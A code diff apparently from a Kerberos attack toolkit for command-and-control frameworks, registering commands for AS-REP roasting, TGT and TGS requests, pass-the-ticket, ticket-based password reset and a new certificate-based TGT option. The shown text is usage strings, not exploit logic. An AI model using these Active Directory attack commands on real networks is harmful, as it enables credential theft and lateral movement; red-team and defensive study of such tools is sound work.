RegisterCommand( krb_asreproasting, "", "krb_asreproasting", "Perform AS-REP roasting", 0, "/user:USER [/dc:DC] [/domain:DOMAIN]", "/user:pre_user" ) -RegisterCommand( krb_asktgt, "", "krb_asktgt", "Retrieve a TGT", 0, "/user:USER /password:PASSWORD [/domain:DOMAIN] [/dc:DC] [/enctype:{rc4|aes256}] [/ptt] [/nopac] [/opsec]\n /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] [/opsec]\n /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac]\n /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC] [/ptt]", "/user:Admin /password:QWErty /enctype:aes256 /opsec /ptt" ) +RegisterCommand( krb_asktgt, "", "krb_asktgt", "Retrieve a TGT", 0, "/user:USER /password:PASSWORD [/domain:DOMAIN] [/dc:DC] [/enctype:{rc4|aes256}] [/ptt] [/nopac] [/opsec]\n /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] [/opsec]\n /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac]\n /user:USER /certificate:BASE64_PFX [/password:PFX_PASSWORD] [/domain:DOMAIN] [/dc:DC] [/ptt]\n /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC] [/ptt]", "/user:Admin /password:QWErty /enctype:aes256 /opsec /ptt" ) RegisterCommand( krb_asktgs, "", "krb_asktgs", "Retrieve a TGS", 0, "/ticket:BASE64 /service:SPN1,SPN2,... [/domain:DOMAIN] [/dc:DC] [/tgs:BASE64] [/targetdomain:DOMAIN] [/targetuser:USER] [/enctype:{rc4|aes256}] [/ptt] [/keylist] [/u2u] [/opsec]", "/service:CIFS/dc.domain.local /ticket:doIF8DCCBey... /opsec" ) RegisterCommand( krb_changepw, "", "krb_changepw", "Reset a user's password from a supplied TGT", 0, "/ticket:BASE64 /new:PASSWORD [/dc:DC] [/targetuser:USER] [/targetdomain:DOMAIN]", "/new:New_P4ss /ticket:doIF8DCCBey..." ) RegisterCommand( krb_describe, "", "krb_describe", "Parse and describe a ticket", 0, "/ticket:BASE64", "/ticket:doIF8DCCBey..." ) diff --git a/kerbeus_oc2_bof.s1.py b/kerbeus_oc2_bof.s1.py index 620e49d..f72ebe9 100644 --- a/kerbeus_oc2_bof.s1.py +++ b/kerbeus_oc2_bof.s1.py @@ -61,6 +61,8 @@ def __init__(self): " [/enctype:{rc4|aes256}] [/ptt] [/nopac] [/opsec]\n" " krb_asktgt /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] [/opsec]\n" " krb_asktgt /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac]\n" + " krb_asktgt /user:USER /certificate:BASE64_PFX [/password:PFX_PASSWORD]\n" + " [/domain:DOMAIN] [/dc:DC] [/ptt]\n" " krb_asktgt /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC] [/ptt]\n" ) @@ -224,4 +226,3 @@ def __init__(self): "Synopsis:\n" " krb_triage [/luid:LOGINID] [/user:USER] [/service:SERVICE] [/client:CLIENT]\n" ) -